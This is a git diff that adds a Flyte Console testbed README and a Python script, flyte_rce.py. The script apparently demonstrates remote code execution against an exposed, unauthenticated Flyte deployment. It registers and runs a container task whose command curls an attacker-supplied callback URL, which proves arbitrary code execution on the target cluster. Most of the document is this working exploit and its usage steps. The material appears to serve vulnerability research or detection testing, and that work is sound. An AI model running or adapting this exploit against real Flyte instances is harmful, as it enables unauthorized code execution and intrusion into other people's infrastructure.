diff --git a/flyte/exposed_ui/README.md b/flyte/exposed_ui/README.md new file mode 100644 index 00000000..9e686ef6 --- /dev/null +++ b/flyte/exposed_ui/README.md @@ -0,0 +1,40 @@ + +# Flyte Console + +Follow these steps to set up a testbed for Flyte Console: + +1. **Set the Flyte Helm Chart Version**: + For this setup, we're using version 1.13.1. You can find a list of all available versions at [Artifact Hub](https://artifacthub.io/packages/helm/flyte/flyte). + + ```bash + export FLYTE_HELM_CHART_VERSION=1.13.1 + ``` + +2. **Run Flyte Sandbox**: + Run the following command to start the Flyte Sandbox environment. + + ```bash + docker run --rm --privileged -e FLYTE_VERSION=${FLYTE_HELM_CHART_VERSION} \ + -p 30080:30080 -p 30081:30081 -p 30082:30082 -p 30084:30084 \ + cr.flyte.org/flyteorg/flyte-sandbox:latest + ``` + This setup will make the Flyte Console accessible at `http://localhost:30081/console` and the API available at` http://localhost:30081/api/v1/`. + + +# Steps to reproduce + +1. Install flytekit using the following command + +```bash +pip3 install flytekit +``` + +2. Execute the `flyte_rce.py` script to perform RCE by invoking the callback URL. The usage details are provided below. + +```bash +python3 flyte_rce.py --url http://localhost:30081 --callback_url $CALLBACK_URL +``` +#### How RCE executed ? + +`flyte_rce.py` script creates a task within the default project `flytesnacks` and domain `development`, utilizing the `docker.io/nginx:latest` Docker image, and runs the `curl` command with the specified `--callback_url` parameter. + diff --git a/flyte/exposed_ui/flyte_rce.py b/flyte/exposed_ui/flyte_rce.py new file mode 100644 index 00000000..10848012 --- /dev/null +++ b/flyte/exposed_ui/flyte_rce.py @@ -0,0 +1,87 @@ +import argparse +from urllib.parse import urlparse + +from flytekit import ContainerTask, kwtypes, task, workflow +from flytekit.configuration import (Config, FastSerializationSettings, Image, + ImageConfig, SerializationSettings) +from flytekit.extras.tasks.shell import OutputLocation, ShellTask +from flytekit.models.literals import LiteralMap +from flytekit.remote import FlyteRemote + +PROJECT="flytesnacks" +DOMAIN="development" +DOCKER_IMAGE="docker.io/nginx:latest" + + +def get_domain_info(url): + # Parse the URL + parsed_url = urlparse(url) + + # Extract the domain and port + domain = f"{parsed_url.hostname}:{parsed_url.port}" if parsed_url.port else parsed_url.hostname + + # Determine if the connection is secure + insecure = parsed_url.scheme == "http" + + return domain, insecure + + +parser = argparse.ArgumentParser(description="Script to process URLs with a callback.") +parser.add_argument("--url", type=str, required=True, help="The URL to process.") +parser.add_argument("--callback_url", type=str, required=True, help="The callback URL to be used.") + +args = parser.parse_args() +endpoint, insecure = get_domain_info(args.url) + + +# Create a FlyteRemote object to connect to the Flyte backend +remote = FlyteRemote( + config=Config.for_endpoint(endpoint=endpoint,insecure=insecure), + default_project="flytesnacks", + default_domain="development", +) + +#Create ContainerTask Task Object +container_task = ContainerTask( + name="flyte_file_io", + image=DOCKER_IMAGE, + command=[ + "curl", + args.callback_url, + "-k" + ], +) +default_img = Image(name="default", fqn="docker.io/nginx", tag="latest") +serialization_settings = SerializationSettings( + project="flytesnacks", + domain="development", + version="v1", + env=None, + image_config=ImageConfig(default_image=default_img, images=[default_img]), + +) +ssettings = ( + serialization_settings.new_builder() + .with_fast_serialization_settings(FastSerializationSettings(enabled=True)) + .build() +) + +# Register the shell task using the custom Docker image +flyte_task = remote.register_task( + entity=container_task, + serialization_settings=ssettings, + version="v1", # Increment the version as needed +) + +print(f"Task registered: {flyte_task.id}") +# Execute the registered shell task +execution = remote.execute( + flyte_task, # The registered ShellTask object + inputs={}, # No inputs required for this task + wait=True # Block until execution completes +) + +# Print the execution status +print(f"Task executed with execution ID: {execution.id}") +print(f"Execution status: {execution.closure.phase}") +print("Check the Callback URL logs")